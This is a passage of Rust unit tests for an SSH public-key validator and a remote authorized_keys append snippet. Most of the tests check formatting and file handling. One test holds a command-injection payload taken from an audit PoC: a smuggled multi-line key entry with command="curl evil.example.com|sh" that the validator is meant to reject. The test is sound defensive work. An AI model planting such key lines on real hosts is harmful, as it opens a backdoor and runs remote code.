902    fn validate_pubkey_accepts_ed25519() {
903        let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
904        assert_eq!(validate_pubkey(line).unwrap(), line);
905    }
906
907    #[test]
908    fn validate_pubkey_strips_trailing_whitespace() {
909        let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
910        let cleaned = validate_pubkey(raw).unwrap();
911        assert!(!cleaned.ends_with('\n'));
912        assert!(!cleaned.ends_with('\r'));
913    }
914
915    #[test]
916    fn validate_pubkey_rejects_empty() {
917        assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
918        assert_eq!(
919            validate_pubkey("   \n\n"),
920            Err(PubkeyValidationError::Empty)
921        );
922    }
923
924    #[test]
925    fn validate_pubkey_rejects_multi_line_command_injection() {
926        // The exact PoC from the security audit: two valid lines, the
927        // second wears a `command=` clause. Multi-line is the canonical
928        // shape that grep-qxF can never dedup, so we reject upstream.
929        let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
930        assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
931    }
932
933    #[test]
934    fn validate_pubkey_rejects_unknown_type() {
935        let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
936        match validate_pubkey(raw) {
937            Err(PubkeyValidationError::UnsupportedType(t)) => {
938                assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
939            }
940            other => panic!("expected UnsupportedType, got {:?}", other),
941        }
942    }
943
944    #[test]
945    fn validate_pubkey_rejects_bogus_base64() {
946        let raw = "ssh-ed25519 not!valid!base64!?? comment";
947        assert_eq!(
948            validate_pubkey(raw),
949            Err(PubkeyValidationError::MalformedBase64)
950        );
951    }
952
953    #[test]
954    fn validate_pubkey_rejects_empty_blob() {
955        let raw = "ssh-ed25519  comment";
956        assert_eq!(
957            validate_pubkey(raw),
958            Err(PubkeyValidationError::MalformedBase64)
959        );
960    }
961
962    #[test]
963    fn read_pubkey_file_rejects_oversize() {
964        let dir = tempfile::tempdir().expect("tempdir");
965        let path = dir.path().join("huge.pub");
966        let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
967        std::fs::write(&path, body).unwrap();
968        match read_pubkey_file(&path) {
969            Err(PubkeyValidationError::TooLarge(n)) => {
970                assert!(n > PUBKEY_MAX_BYTES);
971            }
972            other => panic!("expected TooLarge, got {:?}", other),
973        }
974    }
975
976    #[cfg(unix)]
977    #[test]
978    fn read_pubkey_file_rejects_symlink() {
979        let dir = tempfile::tempdir().expect("tempdir");
980        let target = dir.path().join("real.pub");
981        std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
982        let link = dir.path().join("link.pub");
983        std::os::unix::fs::symlink(&target, &link).unwrap();
984        assert!(matches!(
985            read_pubkey_file(&link),
986            Err(PubkeyValidationError::NotARegularFile)
987        ));
988    }
989
990    #[test]
991    fn remote_snippet_has_expected_markers() {
992        // Regression guard: the worker parses these three markers; if the
993        // snippet ever changes its echoes the parser would silently break.
994        assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
995        assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
996        assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
997        assert!(REMOTE_SNIPPET.contains("grep -qxF"));
998        // CRLF guard is in the snippet too; if a future edit drops the
999        // tr step, CRLF-terminated authorized_keys files would double-append.
1000        assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
1001    }
1002}